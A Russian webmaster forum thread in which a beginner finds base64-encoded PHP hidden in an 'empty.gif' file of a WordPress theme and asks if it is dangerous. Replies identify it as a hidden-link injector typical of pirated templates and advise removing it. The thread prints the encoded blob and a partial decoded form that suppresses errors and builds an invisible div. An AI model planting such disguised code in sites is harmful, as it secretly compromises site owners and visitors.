Закодированая гифка(base64)

K
На сайте с 05.04.2013
Offline
2
937

Всем привет, уважаемые пользователи, прошу подсказать мне по вопросу закодированого файла empty.gif в шаблоне wordpress.

Выискивая закодирование и незакодированые внешние ссылки, наткнулся на вот такой код в файле empty.gif

CWdsb2JhbCAkd3BfZ2lmaGVhZDsNCmlmIChAc3RycG9zKEBnZXRfY2ZnX3ZhcignZXJyb3JfYXBwZW5kX3N0cmluZycpICwgJy9kZW53ZXIvZXJyb3JzLycpIT09ZmFsc2UpIHJldHVybjsNCmVycm9yX3JlcG9ydGluZygnXiBFX0FMTCBeIEVfTk9USUNFJyk7DQppbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsICcwJyk7DQplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOw0KaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAnMCcpOw0KJHdwX2dpZmhlYWQgPSBnZXRfb3B0aW9uKCdnaWZoZWFkJyk7DQppZiAoISR3cF9naWZoZWFkKSBhZGRfb3B0aW9uKCdnaWZoZWFkJyk7IGVsc2UgJHdwX2dpZmhlYWQgPSB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCR3cF9naWZoZWFkKSk7DQppZiAoIWlzc2V0KCR3cF9naWZoZWFkWyd0aW1lJ10pKSAkd3BfZ2lmaGVhZFsndGltZSddID0gMDsNCmlmICghaXNzZXQoJHdwX2dpZmhlYWRbJ3NjcnAnXSkpICR3cF9naWZoZWFkWydzY3JwJ10gPSAnJzsNCmlmICghaXNzZXQoJHdwX2dpZmhlYWRbJ2xua3MnXSkpICR3cF9naWZoZWFkWydsbmtzJ10gPSBhcnJheSgpOw0KaWYgKCFpc3NldCgkd3BfZ2lmaGVhZFsnbG5zYiddKSkgJHdwX2dpZmhlYWRbJ2xuc2InXSA9ICc8c3R5bGUgdHlwZT0idGV4dC9jc3MiPiN3cF9ncnR7ZGlzcGxheTpub25lO3Zpc2liaWxpdHk6aGlkZGVuO3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6LTIwMDBweDtmb250LXNpemU6MHB4O2hlaWdodDoxcHg7b3ZlcmZsb3c6aGlkZGVuO308L3N0eWxlPjxkaXYgaWQ9IndwX2dydCI

через декодер получил нечто

global $wp_gifhead;
if (@strpos(@get_cfg_var('error_append_string') , '/denwer/errors/')!==false) return;
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
$wp_gifhead = get_option('gifhead');
if (!$wp_gifhead) add_option('gifhead'); else $wp_gifhead = unserialize(base64_decode($wp_gifhead));
if (!isset($wp_gifhead['time'])) $wp_gifhead['time'] = 0;
if (!isset($wp_gifhead['scrp'])) $wp_gifhead['scrp'] = '';
if (!isset($wp_gifhead['lnks'])) $wp_gifhead['lnks'] = array();
if (!isset($wp_gifhead['lnsb'])) $wp_gifhead['lnsb'] = '<style type="text/css">#wp_grt{display:none;visibility:hidden;position:absolute;left:-2000px;font-size:0px;height:1px;overflow:hidden;}</style><div id="wp_grt"

Вопрос, опасен ли как то этот результат?

На этот файл есть ссылка в хидере.

Не кидайтесь помидорками)я новичок в этом деле:)

Comrade_Comm
На сайте с 16.09.2010
Offline
132
#1

Удалите ссылку на этот файл из хедера и удалите сам файл....

В чем проблема?

Вопрос не в том опасно ли это, вопрос в том, нужен ли вам на сайте левый код...

Не обратил внимания на код.....

Вас не смущает этот кусок: "display:none;visibility:hidden;position:absolute;left:-2000px;font-size:0px;height:1px;overflow:hidden;" ??????????????

Валите однозначно...

Будет всё! Но когда и у кого - неизвестно!
siv1987
На сайте с 02.04.2009
Offline
427
#2

судя по display:none и left:-2000px код для вывода скрытых ссылок на сайте. Полезного в нем точно нет. Обычный атрибут варезных шаблонов. Гифку удалить.

K
На сайте с 05.04.2013
Offline
2
#3

спасибо, понял. Сейчас буду удалять

september
На сайте с 11.09.2009
Offline
591
#4

Мой вам совет - больше не качать шабы с того сайта, где брали. Или будут скрытые ссылки на каждом сайте.

$ карта для вывода вебмани в любой точке мира (https://www.epayments.com/registration?p=dc2462e885)
K
На сайте с 05.04.2013
Offline
2
#5

september, спасибо за совет. Впредь буду умнее

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий